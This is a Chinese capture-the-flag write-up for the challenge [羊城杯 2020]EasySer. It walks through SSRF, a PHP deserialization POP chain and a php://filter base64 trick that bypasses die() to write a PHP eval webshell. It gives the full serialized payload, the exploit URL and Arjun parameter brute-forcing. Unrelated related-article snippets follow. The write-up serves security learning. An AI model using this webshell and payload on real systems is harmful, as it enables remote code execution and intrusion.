[羊城杯 2020]EasySer

[羊城杯 2020]EasySer

  • 进入页面,发现是ubuntu+apache2,但是好像没啥用

  • 尝试访问/robots.txt,得到
    image.png

  • 访问/star1.php/,查看源码,得到提示
    image.png

  • 一看就知道是ssrf,使用http://127.0.0.1/ser.php,得到源码
    image.png

源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>

pop链子很简单:GWHT:__toString() => Yongen:hasaki()

绕过死亡die()

[[绕死亡exit()或die()]]
p神的文章谈一谈php://filter的妙用

使用编码和解码(base64)

首先利用的伪协议是php://filter/write=convert.base64-decode/resource=
将写入的内容进行base64解码后写入文件知识点
而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
base64算法解码时是4个byte一组利用
由于<、?、()、;、>、\n、空格、"、'都不是base64编码的范围,
编码字符范围包括a-z A-Z 0-9 = /
直接拿<?php exit();?>举例
所以最终被解码的字符仅有“phpexit”和我们传入的其他字符
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。
这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。这时如果传入的是php://filter/write=convert.base64-decode/resource='a'.'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4='   
注:base64_encode('<?php @eval($_POST["cmd"]);?>')PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=则"phpexita"被正常解码,变为乱码,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=解码后变为一句话木马

除了上面直接看,还可以直接用代码,打开文件查看,试几次就出来了

<?php
$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$d = '<?php die("nononon");?>';
$data = $d . $add_str . $data;
file_put_contents($filename, $data);
  • phpdienononon:总共13个字符,所以需要加3个字符

Arjun

  • 接受序列化的参数在哪里呢,使用Arjun爆破,现在知道了ser.php源码,还有flag.php和star1.php不知道,爆破了flag.php啥都没有,爆破star1.php得到
使用工具Arjun进行参数爆破
命令:python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
解释:-c :一次发送的参数数  -d:请求之间的延迟(秒),(默认值:0)  
如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱
  • 得到第二个参数c

payload

<?php
class GWHT{public $hero;}
class Yongen{//flag.phppublic $file='php://filter/write=convert.base64-decode/resource=shell.php';public $test='aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=';}
$a=new GWHT();
$a->hero=new Yongen();
echo serialize($a);
//O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}

paylod

/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}
  • 链接AntSword,在根目录下面得到flag,对了flag.php是空的,什么都没有
    image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/787837.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙OS开发实例:【ArkTS类库异步并发async/await】

async/await是一种用于处理异步操作的Promise语法糖&#xff0c;使得编写异步代码变得更加简单和易读。通过使用async关键字声明一个函数为异步函数&#xff0c;并使用await关键字等待Promise的解析&#xff08;完成或拒绝&#xff09;&#xff0c;以同步的方式编写异步操作的代…

前端图片放大(Element UI中的el-image,Element UI中的图片放大功能)

简介&#xff1a;Element UI 中&#xff0c;为了实现图片的大图预览功能&#xff0c;可以使用 el-image 组件来完成。这里来简单记录一下 一、首先看下html部分 <div class"eventImg_box" click"choseEventImg(item)"><el-image:src"item.e…

关系(二)利用python绘制热图

关系&#xff08;二&#xff09;利用python绘制热图 热图 &#xff08;Heatmap&#xff09;简介 热图适用于显示多个变量之间的差异&#xff0c;通过颜色判断彼此之间是否存在相关性。 快速绘制 基于seaborn import seaborn as sns import pandas as pd import numpy as np i…

常用的SQL语句以及它们的作用和示

以下是一些常用的SQL语句以及它们的作用和示例&#xff1a; 1. **SELECT**&#xff1a;从数据库中检索数据 - 例子&#xff1a;SELECT * FROM employees; 2. **INSERT INTO**&#xff1a;向数据库表中插入新记录 - 例子&#xff1a;INSERT INTO employees (id, name, age) VALU…

Maximum Product(UVA 11059)

网址如下&#xff1a; Maximum Product - UVA 11059 - Virtual Judge (vjudge.net) &#xff08;第三方网站&#xff09; 简单枚举题&#xff0c;枚举就行&#xff0c;只是要注意数字太大导致“爆了”&#xff0c;用个long long int来记录 不过话说回来&#xff0c;关于数字…

【微服务】软件架构的演变之路

目录 单体式架构的时代单体式架构(Monolithic)优点缺点适用场景单体式架构面临诸多问题1.宽带提速&#xff0c;网民增多2.Web2.0时代的特点问题描述优化方向 集群优点缺点适用场景搭建集群后面临诸多问题用户请求问题用户的登录信息数据查询 改进后的架构 垂直架构优点缺点 分布…

OpenResty基于来源IP和QPS来限流

QPS限流 使用OpenResty进行限流的几种常见方法&#xff1a; 按QPS&#xff08;每秒查询率&#xff09;限流&#xff1a; 使用ngx_http_limit_req_module模块&#xff0c;可以限制每个客户端的请求速率。这个模块使用漏桶算法来控制请求的速率。 在Nginx配置文件中&#xff0…

实战 | YOLOv8自定义数据集训练实现手势识别 (标注+训练+预测 保姆级教程--含数据集)

导 读 本文将手把手教你用YoloV8训练自己的数据集并实现手势识别。 安装环境 【1】安装torch, torchvision对应版本,这里先下载好,直接安装 pip install torch-1.13.1+cu116-cp38-cp38-win_amd64.whlpip install torchvision-0.14.1+cu116-cp38-cp38-win_amd64.whl 安装好…

C#面:虚函数和抽象函数的区别

C#中的虚函数和抽象函数都是实现多态性的重要概念&#xff0c;但它们有一些区别。 定义方式&#xff1a; 虚函数&#xff1a;在基类中使用 virtual 关键字定义&#xff0c;可以在派生类中被重写。抽象函数&#xff1a;在抽象类或接口中使用abstract 关键字定义&#xff0c;必…

基于SSM的个性化点餐配送系统

基于SSM的个性化点餐配送系统 功能需求 本个性化点餐配配送系统总体上分为前端模块与后端模块&#xff0c;前端模块按照使用者的不同分为用户模块、商户模块、配送员模块。用户模块分为注册登录功能、个人信息修改功能、点餐功能。商家模块分为注册登录功能、商家信息修改功能…

FastAPI Web框架教程 第11章 请求响应的进阶用法

11-1 直接使用Request对象 关于请求的操作&#xff0c;比如从URL中提取路径参数&#xff0c;获取查询参数&#xff0c;获取请求头&#xff0c;获取Cookie&#xff0c;获取请求体中的数据&#xff1b;这些参数和值的获取非常方便&#xff0c;这是因为FastAPI帮我们创造便利。 F…

iOS系统文件路径解析:探索苹果手机中各类重要文件的存储位置

​ 目录 引言 用户登录工具和连接设备 查看设备信息&#xff0c;电池信息 查看硬盘信息 硬件信息 查看 基带信息 销售信息 电脑可对手机应用程序批量操作 运行APP和查看APP日志 IPA包安装测试 注意事项 引言 苹果手机与安卓手机不同&#xff0c;无法直接访问系统文件…

从《布瓦尔与佩库歇》实践中学习社会科学概论

从《布瓦尔与佩库歇》实践中学习社会科学概论 前情提要《布瓦尔与佩库歇》实践笔记云藏山鹰社会科学概论报告核心--信息形数身知™意合™意气实体过程意气实体过程宇宙学诠释™ 社会科学概论花间流风版导读&#xff0c;马斯克风格演讲[ 一尚韬竹团队供稿&#xff1b;] 内容展开…

音乐家马常旭当选为中华名人库委员会副主席

4月2日&#xff0c;据中华名人库官网显示&#xff0c;马常旭已当选为中华名人库委员会副主席。此前马常旭是一名音乐家、中国内地著名男歌手。 马常旭资料 马常旭&#xff0c;男&#xff0c;汉族&#xff0c;2002年10月生&#xff0c;辽宁大连人。现任中华名人库委员会副主席&…

数据结构第二版-陈越 第1章 概论

定义&#xff1a; 题或例子&#xff1a; 循环和递归两种方法 循环体不同

neutron 运维命令

OpenStack Neutron是OpenStack云计算平台的网络组件&#xff0c;负责管理和连接虚拟机&#xff08;VM&#xff09;和其他计算资源之间的网络。Neutron提供了一组API和插件&#xff0c;以便实现各种网络拓扑和服务&#xff0c;支持虚拟网络和物理网络的管理、配置和调度&#xf…

AtCoder Beginner Contest 347 (B,C,D,E)

B - Substring (atcoder.jp) 问题陈述 您将得到一个由小写英文字母组成的字符串 S 。 S 有多少不同的非空子字符串? 子字符串是一个连续子序列。例如&#xff0c; xxx 是 yxxx 的子字符串&#xff0c;但不是 xxyxx 的子字符串。 解析&#xff1a; 对于数据范围不超过100&…

vk-unicloud 框架 H5 浏览器无法登录访问 Client platform is h5, but web was found in config

最开始出现的bug 进入云函数查看日志 Client platform is h5, but web was found in config 把这个问题扔到百度是没有答案的&#xff0c;但是找到一个类似问题 &#xff1a;Client platform is app, but app-plus was found in config. 顺藤摸瓜到uniCloud的官方文档 关于pr…

MNN介绍安装编译详解

MNN是一个高效、轻量的深度学习框架&#xff0c;它支持深度模型的推理与训练&#xff0c;尤其在端侧的推理与训练性能在业界处于领先地位。MNN已经在阿里巴巴的多个App中使用&#xff0c;覆盖多个场景&#xff0c;同时在IoT等场景下也有若干应用。它支持TensorFlow、Caffe、ONN…

python coding with ChatGPT 专题2| 全解递归算法

文章目录 递归与栈的关系如何思考递归汉诺塔 经典题目入门&#xff1a;斐波那契数列分治法&#xff1a;归并排序树的递归遍历组合问题&#xff1a;子集搜索问题&#xff1a;N皇后 拓展阶乘的迭代法斐波那契数列迭代法青蛙跳 参考文献 掌握递归是解决许多编程问题的关键&#xf…